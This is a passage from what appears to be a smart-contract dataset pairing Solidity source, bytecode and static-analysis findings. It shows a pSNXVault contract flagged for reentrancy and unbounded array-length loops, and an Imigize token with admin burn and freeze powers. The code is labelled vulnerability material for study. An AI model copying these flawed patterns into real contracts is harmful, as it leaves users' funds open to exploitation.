uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract pSNXVault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct RewardDivide {
mapping (address => uint256) amount;
uint256 time;
}
IERC20 public token = IERC20(0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F);
address public governance;
uint256 public totalDeposit;
mapping(address => uint256) public depositBalances;
mapping(address => uint256) public rewardBalances;
address[] public addressIndices;
mapping(uint256 => RewardDivide) public _rewards;
uint256 public _rewardCount = 0;
event Withdrawn(address indexed user, uint256 amount);
constructor () public {
governance = msg.sender;
}
function balance() public view returns (uint) {
return token.balanceOf(address(this));
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function depositAll() external {
deposit(token.balanceOf(msg.sender));
}
function deposit(uint256 _amount) public {
require(_amount > 0, "can't deposit 0");
uint arrayLength = addressIndices.length;
bool found = false;
for (uint i = 0; i < arrayLength; i++) {
if(addressIndices[i]==msg.sender){
found=true;
break;
}
}
if(!found){
addressIndices.push(msg.sender);
}
uint256 realAmount = _amount.mul(995).div(1000);
uint256 feeAmount = _amount.mul(5).div(1000);
address feeAddress = 0xD319d5a9D039f06858263E95235575Bb0Bd630BC;
address vaultAddress = 0x071E6194403942E8b38fd057B7Cf8871Bd525090; // Vault13 Address
token.safeTransferFrom(msg.sender, feeAddress, feeAmount);
token.safeTransferFrom(msg.sender, vaultAddress, realAmount);
totalDeposit = totalDeposit.add(realAmount);
depositBalances[msg.sender] = depositBalances[msg.sender].add(realAmount);
}
function reward(uint256 _amount) external {
require(_amount > 0, "can't reward 0");
require(totalDeposit > 0, "totalDeposit must bigger than 0");
token.safeTransferFrom(msg.sender, address(this), _amount);
uint arrayLength = addressIndices.length;
for (uint i = 0; i < arrayLength; i++) {
rewardBalances[addressIndices[i]] = rewardBalances[addressIndices[i]].add(_amount.mul(depositBalances[addressIndices[i]]).div(totalDeposit));
_rewards[_rewardCount].amount[addressIndices[i]] = _amount.mul(depositBalances[addressIndices[i]]).div(totalDeposit);
}
_rewards[_rewardCount].time = block.timestamp;
_rewardCount++;
}
function withdrawAll() external {
withdraw(rewardBalances[msg.sender]);
}
function withdraw(uint256 _amount) public {
require(_rewardCount > 0, "no reward amount");
require(_amount > 0, "can't withdraw 0");
uint256 availableWithdrawAmount = availableWithdraw(msg.sender);
if (_amount > availableWithdrawAmount) {
_amount = availableWithdrawAmount;
}
token.safeTransfer(msg.sender, _amount);
rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_amount);
emit Withdrawn(msg.sender, _amount);
}
function availableWithdraw(address owner) public view returns(uint256){
uint256 availableWithdrawAmount = rewardBalances[owner];
for (uint256 i = _rewardCount - 1; block.timestamp < _rewards[i].time.add(7 days); --i) {
availableWithdrawAmount = availableWithdrawAmount.sub(_rewards[i].amount[owner].mul(_rewards[i].time.add(7 days).sub(block.timestamp)).div(7 days));
if (i == 0) break;
}
return availableWithdrawAmount;
}
} | 0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063a9fb763c11610097578063de5f626811610066578063de5f626814610276578063e2aa2a851461027e578063f6153ccd14610286578063fc0c546a1461028e57610100565b8063a9fb763c1461020e578063ab033ea91461022b578063b69ef8a814610251578063b6b55f251461025957610100565b8063853828b6116100d3578063853828b6146101a65780638f1e9405146101ae57806393c8dc6d146101cb578063a7df8c57146101f157610100565b80631eb903cf146101055780632e1a7d4d1461013d5780633df2c6d31461015c5780635aa6e67514610182575b600080fd5b61012b6004803603602081101561011b57600080fd5b50356001600160a01b0316610296565b60408051918252519081900360200190f35b61015a6004803603602081101561015357600080fd5b50356102a8565b005b61012b6004803603602081101561017257600080fd5b50356001600160a01b03166103dd565b61018a6104d7565b604080516001600160a01b039092168252519081900360200190f35b61015a6104e6565b61012b600480360360208110156101c457600080fd5b5035610501565b61012b600480360360208110156101e157600080fd5b50356001600160a01b0316610516565b61018a6004803603602081101561020757600080fd5b5035610528565b61015a6004803603602081101561022457600080fd5b503561054f565b61015a6004803603602081101561024157600080fd5b50356001600160a01b03166107a2565b61012b610811565b61015a6004803603602081101561026f57600080fd5b503561088e565b61015a610a5f565b61012b610adc565b61012b610ae2565b61018a610ae8565b60036020526000908152604090205481565b6000600754116102f2576040805162461bcd60e51b815260206004820152601060248201526f1b9bc81c995dd85c9908185b5bdd5b9d60821b604482015290519081900360640190fd5b6000811161033a576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b6000610345336103dd565b905080821115610353578091505b600054610370906001600160a01b0316338463ffffffff610af716565b33600090815260046020526040902054610390908363ffffffff610b4e16565b33600081815260046020908152604091829020939093558051858152905191927f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d592918290030190a25050565b6001600160a01b038116600090815260046020526040812054600754600019015b6000818152600660205260409020600101546104239062093a8063ffffffff610b9916565b4210156104d0576104bb6104ae62093a806104a26104734261046762093a80600660008a815260200190815260200160002060010154610b9990919063ffffffff16565b9063ffffffff610b4e16565b60008681526006602090815260408083206001600160a01b038d1684529091529020549063ffffffff610bf316565b9063ffffffff610c4c16565b839063ffffffff610b4e16565b9150806104c7576104d0565b600019016103fe565b5092915050565b6001546001600160a01b031681565b336000908152600460205260409020546104ff906102a8565b565b60066020526000908152604090206001015481565b60046020526000908152604090205481565b6005818154811061053557fe5b6000918252602090912001546001600160a01b0316905081565b60008111610595576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b6000600254116105ec576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b60005461060a906001600160a01b031633308463ffffffff610c8e16565b60055460005b8181101561077f576106a96106676002546104a2600360006005878154811061063557fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054879063ffffffff610bf316565b600460006005858154811061067857fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020549063ffffffff610b9916565b60046000600584815481106106ba57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400181209190915560025460058054610730936104a292600392879081106106fe57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054869063ffffffff610bf316565b6007546000908152600660205260408120600580549192918590811061075257fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902055600101610610565b505060078054600090815260066020526040902042600191820155815401905550565b6001546001600160a01b031633146107ef576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60008054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561085d57600080fd5b505afa158015610871573d6000803e3d6000fd5b505050506040513d602081101561088757600080fd5b5051905090565b600081116108d5576040805162461bcd60e51b815260206004820152600f60248201526e063616e2774206465706f736974203608c1b604482015290519081900360640190fd5b6005546000805b8281101561092757336001600160a01b0316600582815481106108fb57fe5b6000918252602090912001546001600160a01b0316141561091f5760019150610927565b6001016108dc565b508061097057600580546001810182556000919091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b031916331790555b600061098a6103e86104a2866103e363ffffffff610bf316565b905060006109a56103e86104a287600563ffffffff610bf316565b60005490915073d319d5a9d039f06858263e95235575bb0bd630bc9073071e6194403942e8b38fd057b7cf8871bd525090906109f2906001600160a01b031633848663ffffffff610c8e16565b600054610a10906001600160a01b031633838763ffffffff610c8e16565b600254610a23908563ffffffff610b9916565b60025533600090815260036020526040902054610a46908563ffffffff610b9916565b3360009081526003602052604090205550505050505050565b600054604080516370a0823160e01b815233600482015290516104ff926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610aab57600080fd5b505afa158015610abf573d6000803e3d6000fd5b505050506040513d6020811015610ad557600080fd5b505161088e565b60075481565b60025481565b6000546001600160a01b031681565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610b49908490610cee565b505050565b6000610b9083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ea6565b90505b92915050565b600082820183811015610b90576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082610c0257506000610b93565b82820282848281610c0f57fe5b0414610b905760405162461bcd60e51b8152600401808060200182810382526021815260200180610fdf6021913960400191505060405180910390fd5b6000610b9083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f3d565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610ce8908590610cee565b50505050565b610d00826001600160a01b0316610fa2565b610d51576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310610d8f5780518252601f199092019160209182019101610d70565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610df1576040519150601f19603f3d011682016040523d82523d6000602084013e610df6565b606091505b509150915081610e4d576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610ce857808060200190516020811015610e6957600080fd5b5051610ce85760405162461bcd60e51b815260040180806020018281038252602a815260200180611000602a913960400191505060405180910390fd5b60008184841115610f355760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610efa578181015183820152602001610ee2565b50505050905090810190601f168015610f275780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610f8c5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610efa578181015183820152602001610ee2565b506000838581610f9857fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590610fd65750808214155b94935050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72315820b1e8481336f9bedcb5f82af7c01689c52a33846f6d2b7f52908f34c3a769671464736f6c63430005100032 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 9,987 |
0xebd79044b0a3261b5f2ff95bd06e3a17e7d109fb | pragma solidity ^0.4.21;
// Project: imigize.io (original)
// v13, 2018-06-19
// This code is the property of CryptoB2B.io
// Copying in whole or in part is prohibited.
// Authors: Ivan Fedorov and Dmitry Borodin
// Do you want the same TokenSale platform? www.cryptob2b.io
contract IFinancialStrategy{
enum State { Active, Refunding, Closed }
State public state = State.Active;
event Deposited(address indexed beneficiary, uint256 weiAmount);
event Receive(address indexed beneficiary, uint256 weiAmount);
event Refunded(address indexed beneficiary, uint256 weiAmount);
event Started();
event Closed();
event RefundsEnabled();
function freeCash() view public returns(uint256);
function deposit(address _beneficiary) external payable;
function refund(address _investor) external;
function setup(uint8 _state, bytes32[] _params) external;
function getBeneficiaryCash() external;
function getPartnerCash(uint8 _user, address _msgsender) external;
}
contract ICreator{
IRightAndRoles public rightAndRoles;
function createAllocation(IToken _token, uint256 _unlockPart1, uint256 _unlockPart2) external returns (IAllocation);
function createFinancialStrategy() external returns(IFinancialStrategy);
function getRightAndRoles() external returns(IRightAndRoles);
}
contract IRightAndRoles {
address[][] public wallets;
mapping(address => uint16) public roles;
event WalletChanged(address indexed newWallet, address indexed oldWallet, uint8 indexed role);
event CloneChanged(address indexed wallet, uint8 indexed role, bool indexed mod);
function changeWallet(address _wallet, uint8 _role) external;
function setManagerPowerful(bool _mode) external;
function onlyRoles(address _sender, uint16 _roleMask) view external returns(bool);
}
contract MigrationAgent
{
function migrateFrom(address _from, uint256 _value) public;
}
contract GuidedByRoles {
IRightAndRoles public rightAndRoles;
function GuidedByRoles(IRightAndRoles _rightAndRoles) public {
rightAndRoles = _rightAndRoles;
}
}
contract Pausable is GuidedByRoles {
mapping (address => bool) public unpausedWallet;
event Pause();
event Unpause();
bool public paused = true;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused(address _to) {
require(!paused||unpausedWallet[msg.sender]||unpausedWallet[_to]);
_;
}
function onlyAdmin() internal view {
require(rightAndRoles.onlyRoles(msg.sender,3));
}
// Add a wallet ignoring the "Exchange pause". Available to the owner of the contract.
function setUnpausedWallet(address _wallet, bool mode) public {
onlyAdmin();
unpausedWallet[_wallet] = mode;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function setPause(bool mode) public {
require(rightAndRoles.onlyRoles(msg.sender,1));
if (!paused && mode) {
paused = true;
emit Pause();
}else
if (paused && !mode) {
paused = false;
emit Unpause();
}
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract MigratableToken is BasicToken,GuidedByRoles {
uint256 public totalMigrated;
address public migrationAgent;
event Migrate(address indexed _from, address indexed _to, uint256 _value);
function setMigrationAgent(address _migrationAgent) public {
require(rightAndRoles.onlyRoles(msg.sender,1));
require(totalMigrated == 0);
migrationAgent = _migrationAgent;
}
function migrateInternal(address _holder) internal{
require(migrationAgent != 0x0);
uint256 value = balances[_holder];
balances[_holder] = 0;
totalSupply_ = totalSupply_.sub(value);
totalMigrated = totalMigrated.add(value);
MigrationAgent(migrationAgent).migrateFrom(_holder, value);
emit Migrate(_holder,migrationAgent,value);
}
function migrateAll(address[] _holders) public {
require(rightAndRoles.onlyRoles(msg.sender,1));
for(uint i = 0; i < _holders.length; i++){
migrateInternal(_holders[i]);
}
}
// Reissue your tokens.
function migrate() public
{
require(balances[msg.sender] > 0);
migrateInternal(msg.sender);
}
}
contract BurnableToken is BasicToken, GuidedByRoles {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(address _beneficiary, uint256 _value) public {
require(rightAndRoles.onlyRoles(msg.sender,1));
require(_value <= balances[_beneficiary]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_beneficiary] = balances[_beneficiary].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_beneficiary, _value);
emit Transfer(_beneficiary, address(0), _value);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function minus(uint256 a, uint256 b) internal pure returns (uint256) {
if (b>=a) return 0;
return a - b;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, GuidedByRoles {
event Mint(address indexed to, uint256 amount);
event MintFinished();
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) public returns (bool) {
require(rightAndRoles.onlyRoles(msg.sender,1));
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
contract IToken{
function setUnpausedWallet(address _wallet, bool mode) public;
function mint(address _to, uint256 _amount) public returns (bool);
function totalSupply() public view returns (uint256);
function setPause(bool mode) public;
function setMigrationAgent(address _migrationAgent) public;
function migrateAll(address[] _holders) public;
function burn(address _beneficiary, uint256 _value) public;
function freezedTokenOf(address _beneficiary) public view returns (uint256 amount);
function defrostDate(address _beneficiary) public view returns (uint256 Date);
function freezeTokens(address _beneficiary, uint256 _amount, uint256 _when) public;
}
contract IAllocation {
function addShare(address _beneficiary, uint256 _proportion, uint256 _percenForFirstPart) external;
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused(_to) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused(_to) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract FreezingToken is PausableToken {
struct freeze {
uint256 amount;
uint256 when;
}
mapping (address => freeze) freezedTokens;
function freezedTokenOf(address _beneficiary) public view returns (uint256 amount){
freeze storage _freeze = freezedTokens[_beneficiary];
if(_freeze.when < now) return 0;
return _freeze.amount;
}
function defrostDate(address _beneficiary) public view returns (uint256 Date) {
freeze storage _freeze = freezedTokens[_beneficiary];
if(_freeze.when < now) return 0;
return _freeze.when;
}
function freezeTokens(address _beneficiary, uint256 _amount, uint256 _when) public {
require(rightAndRoles.onlyRoles(msg.sender,1));
freeze storage _freeze = freezedTokens[_beneficiary];
_freeze.amount = _amount;
_freeze.when = _when;
}
function masFreezedTokens(address[] _beneficiary, uint256[] _amount, uint256[] _when) public {
onlyAdmin();
require(_beneficiary.length == _amount.length && _beneficiary.length == _when.length);
for(uint16 i = 0; i < _beneficiary.length; i++){
freeze storage _freeze = freezedTokens[_beneficiary[i]];
_freeze.amount = _amount[i];
_freeze.when = _when[i];
}
}
function transferAndFreeze(address _to, uint256 _value, uint256 _when) external {
require(unpausedWallet[msg.sender]);
require(freezedTokenOf(_to) == 0);
if(_when > 0){
freeze storage _freeze = freezedTokens[_to];
_freeze.amount = _value;
_freeze.when = _when;
}
transfer(_to,_value);
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(balanceOf(msg.sender) >= freezedTokenOf(msg.sender).add(_value));
return super.transfer(_to,_value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(balanceOf(_from) >= freezedTokenOf(_from).add(_value));
return super.transferFrom( _from,_to,_value);
}
}
contract Token is IToken, FreezingToken, MintableToken, MigratableToken, BurnableToken{
function Token(ICreator _creator) GuidedByRoles(_creator.rightAndRoles()) public {}
string public constant name = "Imigize";
string public constant symbol = "IMGZ";
uint8 public constant decimals = 18;
} | 0x6060604052600436106101505763ffffffff60e060020a60003504166306fdde038114610155578063095ea7b3146101df57806311cfb19d1461021557806318160ddd1461024657806323b872dd1461025957806324db1f5014610281578063313ce5671461035257806340c10f191461037b57806350bb117a1461039d5780635c975abb146103bc57806361cdd2dc146103cf57806366188463146103fe578063680b3bdf1461042057806370a082311461046f57806375e2ff651461048e5780638328dbcd146104ad578063852e9f46146104c05780638fd3ab80146104e557806395a0f5eb146104f857806395d89b411461050b5780639dc29fac1461051e578063a9059cbb14610540578063b3e1f52314610562578063b8b3db4f14610586578063bedb86fb146105a5578063d73dd623146105bd578063dd62ed3e146105df578063f831ebab14610604575b600080fd5b341561016057600080fd5b610168610629565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101a457808201518382015260200161018c565b50505050905090810190601f1680156101d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101ea57600080fd5b610201600160a060020a0360043516602435610660565b604051901515815260200160405180910390f35b341561022057600080fd5b610234600160a060020a03600435166106cc565b60405190815260200160405180910390f35b341561025157600080fd5b610234610705565b341561026457600080fd5b610201600160a060020a036004358116906024351660443561070b565b341561028c57600080fd5b6103506004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061074d95505050505050565b005b341561035d57600080fd5b610365610817565b60405160ff909116815260200160405180910390f35b341561038657600080fd5b610201600160a060020a036004351660243561081c565b34156103a857600080fd5b610234600160a060020a0360043516610963565b34156103c757600080fd5b61020161099b565b34156103da57600080fd5b6103e26109a4565b604051600160a060020a03909116815260200160405180910390f35b341561040957600080fd5b610201600160a060020a03600435166024356109b3565b341561042b57600080fd5b6103506004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843750949650610aad95505050505050565b341561047a57600080fd5b610234600160a060020a0360043516610b64565b341561049957600080fd5b610350600160a060020a0360043516610b7f565b34156104b857600080fd5b6103e2610c38565b34156104cb57600080fd5b610350600160a060020a0360043516602435604435610c47565b34156104f057600080fd5b610350610cb8565b341561050357600080fd5b610234610ce6565b341561051657600080fd5b610168610cec565b341561052957600080fd5b610350600160a060020a0360043516602435610d23565b341561054b57600080fd5b610201600160a060020a0360043516602435610e8b565b341561056d57600080fd5b610350600160a060020a03600435166024351515610ebf565b341561059157600080fd5b610201600160a060020a0360043516610ef2565b34156105b057600080fd5b6103506004351515610f07565b34156105c857600080fd5b610201600160a060020a0360043516602435611026565b34156105ea57600080fd5b610234600160a060020a03600435811690602435166110ca565b341561060f57600080fd5b610350600160a060020a03600435166024356044356110f5565b60408051908101604052600781527f496d6967697a6500000000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b600160a060020a03811660009081526006602052604081206001810154429010156106fa57600091506106ff565b805491505b50919050565b60015490565b60006107268261071a866106cc565b9063ffffffff61119816565b61072f85610b64565b101561073a57600080fd5b6107458484846111a7565b949350505050565b600080610758611218565b8351855114801561076a575082518551145b151561077557600080fd5b600091505b84518261ffff1610156108105760066000868461ffff168151811061079b57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000209050838261ffff16815181106107d757fe5b9060200190602002015181558261ffff8316815181106107f357fe5b90602001906020020151600180830191909155919091019061077a565b5050505050565b601281565b600354600090600160a060020a031663b17922f633600160405160e060020a63ffffffff8516028152600160a060020a03909216600483015261ffff166024820152604401602060405180830381600087803b151561087a57600080fd5b5af1151561088757600080fd5b50505060405180519050151561089c57600080fd5b6001546108af908363ffffffff61119816565b600155600160a060020a0383166000908152602081905260409020546108db908363ffffffff61119816565b600160a060020a0384166000818152602081905260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660006000805160206116918339815191528460405190815260200160405180910390a350600192915050565b600160a060020a038116600090815260066020526040812060018101544290101561099157600091506106ff565b6001015492915050565b60055460ff1681565b600354600160a060020a031681565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610a1057600160a060020a033381166000908152600260209081526040808320938816835292905290812055610a47565b610a20818463ffffffff61129716565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600354600090600160a060020a031663b17922f633600160405160e060020a63ffffffff8516028152600160a060020a03909216600483015261ffff166024820152604401602060405180830381600087803b1515610b0b57600080fd5b5af11515610b1857600080fd5b505050604051805190501515610b2d57600080fd5b5060005b8151811015610b6057610b58828281518110610b4957fe5b906020019060200201516112a9565b600101610b31565b5050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031663b17922f633600160405160e060020a63ffffffff8516028152600160a060020a03909216600483015261ffff166024820152604401602060405180830381600087803b1515610bda57600080fd5b5af11515610be757600080fd5b505050604051805190501515610bfc57600080fd5b60075415610c0957600080fd5b6008805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600854600160a060020a031681565b600160a060020a03331660009081526004602052604081205460ff161515610c6e57600080fd5b610c77846106cc565b15610c8157600080fd5b6000821115610cae5750600160a060020a0383166000908152600660205260409020828155600181018290555b6108108484610e8b565b600160a060020a03331660009081526020819052604081205411610cdb57600080fd5b610ce4336112a9565b565b60075481565b60408051908101604052600481527f494d475a00000000000000000000000000000000000000000000000000000000602082015281565b600354600160a060020a031663b17922f633600160405160e060020a63ffffffff8516028152600160a060020a03909216600483015261ffff166024820152604401602060405180830381600087803b1515610d7e57600080fd5b5af11515610d8b57600080fd5b505050604051805190501515610da057600080fd5b600160a060020a038216600090815260208190526040902054811115610dc557600080fd5b600160a060020a038216600090815260208190526040902054610dee908263ffffffff61129716565b600160a060020a038316600090815260208190526040902055600154610e1a908263ffffffff61129716565b600155600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a26000600160a060020a0383166000805160206116918339815191528360405190815260200160405180910390a35050565b6000610e9a8261071a336106cc565b610ea333610b64565b1015610eae57600080fd5b610eb883836113bb565b9392505050565b610ec7611218565b600160a060020a03919091166000908152600460205260409020805460ff1916911515919091179055565b60046020526000908152604090205460ff1681565b600354600160a060020a031663b17922f633600160405160e060020a63ffffffff8516028152600160a060020a03909216600483015261ffff166024820152604401602060405180830381600087803b1515610f6257600080fd5b5af11515610f6f57600080fd5b505050604051805190501515610f8457600080fd5b60055460ff16158015610f945750805b15610fd7576005805460ff191660011790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1611023565b60055460ff168015610fe7575080155b15611023576005805460ff191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a15b50565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205461105e908363ffffffff61119816565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac